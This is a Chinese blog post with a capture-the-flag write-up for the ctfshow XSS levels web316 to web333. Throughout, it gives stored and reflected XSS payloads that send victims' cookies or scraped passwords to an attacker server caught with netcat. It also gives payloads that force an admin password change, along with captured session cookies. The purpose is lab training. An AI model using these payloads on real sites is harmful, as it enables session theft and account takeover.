ctfshow XSS

最新推荐文章于 2024-10-16 10:45:48 发布
原创 最新推荐文章于 2024-10-16 10:45:48 发布 · 1.7k 阅读 · 12 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#xss #php #服务器

文章目录

web 316

题目

圣诞快乐，写下祝福语，生成链接，发送给朋友，可以领取十个鸡蛋！

在这里插入图片描述

这里是让写祝福语的，那我们先送它一个简单的xss<script>alert(1)</script>
在这里插入图片描述
说明没有过滤，这个时候的话，flag藏于cookie中，我们需要想办法获取管理员的cookie，肯定不能<script>alert(document.cookie)</script>，因为这样的话得到的是自己的cookie，需要的是管理员的cookie，这时候有个方法就是我们利用我们的vps，用nc端口监听，然后直接我们在搜索框中添加一个js跳转链接加上获取cookie的代码，这时候管理员就会访问我们的ip地址，我们也就拿到了管理员cookie，也就得到了flag，思路有了，那payload构造也并非难事
先在vps开启监听

nc -lvnp 7777
//虽然只能接收一次，但我们可以nc多次

<script>document.location.href='http://xxx:7777/'+document.cookie</script>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

在这里插入图片描述

web 317

题目同上
但script被过滤了，无法弹出1，此时换标签进行尝试

<body onload=alert(1)></body>

经过测试，这个可以，所以此时选择用它来弹cookie
在vps上监听端口

nc -lvnp 7777

在界面输入payload

<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>

web 318

题目同上
经过测试过滤了img，所以用其他方法即可
开启监听

nc -lvnp 7777

<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>

得到

ubuntu@VM-12-12-ubuntu:~$ nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection received on 49.235.148.38 50456
GET /PHPSESSID=b8fo3kchl70j95q9rpvm1os8kp;%20flag=ctfshow%7B4574f5dd-a954-4ee1-a709-f6d512155a20%7D HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/target.php?key=ctfshow_bot_key

web 320

空格被ban，用/**/来替代

nc -lvnp 7777

<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

web 321

<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

web 322

<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

在这里插入图片描述

web 323

<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

在这里插入图片描述

web 324

<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

web 325

<body/**/onload="window.open('http://xxx::7777/'+document.cookie)"></body>

web 326

<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

存储型XSS

web 327

存储型XSS

<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

在这里插入图片描述

web 328

在这里插入图片描述
发现有注册的，先随便注册一下，然后登录
在这里插入图片描述
只有管理员可以查看，这里的话我们的思路就是获取当前管理员的cookie，但是要从哪里着手呢，此时查看用户名和密码的源代码
在这里插入图片描述
可以发现这两个都是不存在单引号或者双引号包裹的，因此我们可以直接插入一段js代码，借助vps调出管理员的cookie，而后修改我们的cookie为管理员的cookie，此时我们的身份就变成了管理员的，因此我们这里去再注册一个，账号注册如下

<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
<script>window.location.href='http://xxx:7777/'+document.cookie;</script>

密码随便写（当然，账号随便写，密码写成这个也可以）
在你的vps开启监听端口

nc -lvnp 7777

登录后点击用户管理，此时再看vps
在这里插入图片描述
得到管理员cookieruenb618p3e7tg5a6gtumcs89b
修改cookie值，刷新界面
在这里插入图片描述
得到flagctfshow{d5cdea15-ce33-4df2-b9f0-13aab7b94fa1}

web 329

我按上一关的方法得到了flag，但是正常的话是得不到的，看其他师傅的wp说这里的是管理员在点击过js后立马登出，它的cookie一直是无效的，我们这里获取的话可以去获取它的用户名和密码界面
在这里插入图片描述
可以看见这个密码的话是在layui-table-cell laytable-cell-1-0-1类中的，因此我们需要用getElementsByClassName来获取，getElementsByClassName的作用是获取所有指定类名的元素
在控制台中document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')可以发现
在这里插入图片描述
密码在innerHTML中，此时再试着将这个输出
在这里插入图片描述
这时候就得到了密码，那我们此时利用这个即可构造得到flag的语句，如下

<script>window.open('http://xxx:7777/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

在这里插入图片描述

web 330

在修改密码界面进行获取
在这里插入图片描述
在这里可以看见包含了整个界面，因此类就确定是layui-container

<script>window.open('http://xxx:7777/'+document.querySelector('#top > div.layui-container').textContent)</script>

预期解（修改管理员密码）

我们发现多了个修改密码的界面，我们抓包后修改一下
在这里插入图片描述
那我们添加一个跳转本地的，然后修改密码，此时不就可以成功的修改管理员的密码了吗?
尝试一下

<script>windows.location.href="http://127.0.0.1/api/change.php?p=123"</script>

此时将这个作为用户名，这时候随便设置一个密码即可，而后等待几分钟，管理员访问此界面就会强制更改密码，此时我们以admin为用户名，123为密码登录即可
在这里插入图片描述

web 331

在这里插入图片描述
发现与上关界面相似，这里我们进行抓包一看究竟
在这里插入图片描述
发现从GET请求变成了POST请求，因此这里仍尝试上关预期解的方法，但是呢，我们需要找JavaScript发生POST请求的方式来进行发送，从而修改管理员的密码，这个可以参考
https://www.jb51.net/article/143683.htm
当然，我比较懒，直接在源码中借鉴一波
在这里插入图片描述
将内容进行略微修改，如下所示

    $.ajax({
      url:'api/change.php',
      type:'post',
      data:{
        p:'123'//修改密码为123
      }
    });

整理一下的话就是

$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});

我们可以先本地测试一下
先注册一个密码和账号都i为11的
在这里插入图片描述
在控制台添加我们的js代码
在这里插入图片描述
此时登出再以123为密码登入
在这里插入图片描述
说明构造的正确，此时直接将这个加上<script>标签作为用户名即可，构造payload

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

在这里插入图片描述

web 332

正常注册时这里是无法交易的，提示有内鬼，终止交易，当以<script>alert(1)</script>注册时，发现可以转帐了，这里直接随便输入收款人，金额填写-10000，就白嫖了10000，再去买flag即可
在这里插入图片描述

web 333

这里的话可以用自己给自己转账的骚操作，因为这个转帐只加不减，所以我们以<script>1</script>创建用户后，在转帐界面抓包，一次传自己五块
在这里插入图片描述
此时浅浅的跑一万次即可
在这里插入图片描述

加大马力，线程调为20在这里插入图片描述
买flag即可

CTFShow Xss
paidx0
08-12 1659
CTFShow Xss（学习） 简单介绍一下Xss 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 xss漏洞关键就是寻找参数未过滤的输出函数。 常见的输出函数有： echo printf print print_r sprintf die var-dump var_export xss 分类：（三类） 反射型XSS：<非持久化> 攻击者事先制作好攻击链接, 需要欺
CTFshow——XSS
D.MIND 的博客
04-01 735
文章目录web316web317——过滤了scriptweb318——过滤了imgweb319——web320、321、322——过滤空格 web316 利用xss平台里的代码进行攻击： https://xss.pt/xss.php <sCRiPt sRC=//xss.pt/kUIB></sCrIpT> web317——过滤了script <img src=x onerror=s=createElement('script');body.appendChild(s);s.sr
CTFshow XSS入门解析[代码]
最新发布
11-25
本文详细解析了CTFshow平台中web316至web333的XSS（跨站脚本攻击）题目。作者通过实战演示了如何利用XSS漏洞获取管理员cookie、绕过过滤机制以及实现远程代码执行。内容涵盖了反射型XSS、存储型XSS的利用方式，包括使用script标签、body事件处理器以及AJAX请求等技术。文章还提供了服务器端接收脚本的示例代码，并分享了如何通过修改PHPSESSID伪造管理员身份、利用XSS修改密码等高级技巧。最后，作者总结了XSS漏洞常见出现场景和实战中的注意事项，为读者提供了全面的XSS攻防学习资料。
ctfshow——XSS
qq_55202378的博客
04-24 1844
跨站脚本攻击（Cross Site Scripting），为不和层叠样式表（Cascading Style Sheets，CSS）的缩写混淆，故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码，当用户浏览该页之时，嵌入其中 Web 里面的 HTML 代码会被执行，从而达到恶意攻击用户的特殊目的。
ctfshow XSS专题
yink12138的博客
12-17 1689
ctfshow XSS专题
CTFSHOW xss篇
羽的博客
12-28 9745
web316 xss平台 https://xss.pt/xss.php 创建项目 选择默认模块 一直下一步，然后随便那个代码放到题目输入框中 再刷新下题目 最后看下项目 结束
CTFshow XSS(web316-333)
Kradress的博客
03-18 1075
这里我们发现管理员才能查看用户名和密码，如果我们在注册的时候写入xss的payload，就会在用户管理界面执行我们的xss代码。这题没有过滤什么，但是如果用img的话，拿不到flag，但是referer是bot，我猜测bot触发不了img的。试试用admin的cookie修改密码,但是没有用，可能cookie失效了。这题拿cookie也看不到flag了，不过多了一个修改密码选项。随便注册一个用户test，余额只有6块，买flag要9999元。发现输出为空，说明被题目限制了，但是。可以用frame注入。
ctfshow xss
07-31
CTFShow是一个网络安全工具，它主要用于检测网页是否存在跨站脚本攻击(XSS)漏洞。XSS（Cross-Site Scripting）是指攻击者通过恶意注入可以执行的JavaScript或其他客户端脚本到网站上，当用户浏览包含这些脚本的页面...
CTFSHOW-XSS
byname1的博客
03-10 1300
说来惭愧，很久没发博客了，主要是寒假有点摆了，然后ctfshow很多类型我在同时刷，这几天比如sql，xxe，php反序列化,jwt这些我就陆陆续续地能发出来了。文末有参考WP，这两篇WP对于没学过JS的我做题用处很大，先谢过Y4师傅和bfeng师傅了!!!
CTFShow Web 入门 XSS
tj13995958709的博客
04-14 3101
这一题用上一题的做法就不行，这一题admin的cookie是一直在变的，而且很快，看到此题还有修改密码的功能，注册个普通账号，在修改密码时抓包。当将这行脚本代码提交后，稍等片刻，会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接，然后就可以拿到admin的cookie。这道题它代码逻辑有问题，转账的不扣转账方的金额，所以可以一直向自己转账，转的金额不超过自己余额即可。直接让admin转自己10000，和上题让admin自己改密码思路是一样的。然后登录admin账号，密码输入123456。
ctfshowXSS
njh18790816639的博客
05-19 442
XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。 大致的介绍一下XSS漏洞！此时我们可以使用这个xss平台***https://xss.pt/xss.php*** 注.
ctfshow-xss(web316-web330)
m0_72125469的博客
07-03 1844
web317讲解相当细致精致练习XSSweb316这道题估计陆陆续续弄了半天 因为xss可以说基本不会 还好最终彻彻底底明白了首先这道题是反射性xss 也就是必须点击某一个xss链接 才能达到xss效果这道题的意思就是 写一个祝福语生成链接发送给朋友 这个祝福语的位置就是我们实现XSS的位置已知：flag在BOT(程序，机器人)的cookie中并且 生成的链接后端BOT会每隔一段时间访问所以 要构造一个含有XSS的链接 使得管理员只要访问就能获取BOT的cookie。
ctf_show笔记篇（web入门---XSS）
whale_waves的博客
04-01 2073
这里简单对xss做一个了解：xss分为反射型和储存型反射型：一般是由攻击者选择攻击对象，对攻击对象发一个带有xss窃取cookie的页面的url，被攻击者点击就会动过document.cookie将用户信息一并发送给攻击方的服务器。反射型XSS一般发生在浏览器，当受害者访问含有XSS代码的页面时浏览器解析并执行XSS代码造成信息泄露。存储型：攻击方将恶意代码插入在存在漏洞的网站上，任何访问网站的人都会遭到攻击，比起反射型xss，存储型xss危害更大，范围更广。
ctf.show之XSS(跨站脚本攻击)
weixin_68477635的博客
10-16 330
XSS被称为跨站脚本攻击(Cross Site Scripting)，由于和层叠样式表(Cascading Style Sheets,CSS)重名，改为XSS主要基于JavaSript语言进行恶意攻击，因为js非常灵活操作html、css、浏览器。
ctfshow web入门 xss（持续更新）
Lum1n0us's Blog
08-07 710
文章目录前言web316web317web318-319web320-325 前言 因为各种各样的问题，我这里就只让他弹窗，而不把获取flag作为目标了 web316 第一关，很简单，没有过滤，直接 <script>alert(0)</script> 就能弹窗 web317 有过滤了，可能是把script过滤了，可以用img标签 <img src=1 onerror=alert(0)> web318-319 img标签也被过滤了，可以用body标签，它被ban的概率比
ctfshow XSS漏洞web316-328
m0_62584974的博客
04-07 2357
2022/4/7 Web316 XSS 反射性XSS 圣诞快乐，写下祝福语，生成链接，发送给朋友，可以领取十个鸡蛋！ CEYE - Monitor service for security testing 先在这个网站注册一个账号获得一个临时的域名 红框内的是临时的域名 然后在方框中输入： <script>varimg=document.createElement("img");img.src="http://你的ceye地址/"+document.co..
ctfshow-xss
Vincent0sen的博客
09-13 513
ctfshow刷题记录
ctfshow-web[XSS]
m0_72898152的博客
02-04 1218
ctfshow
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值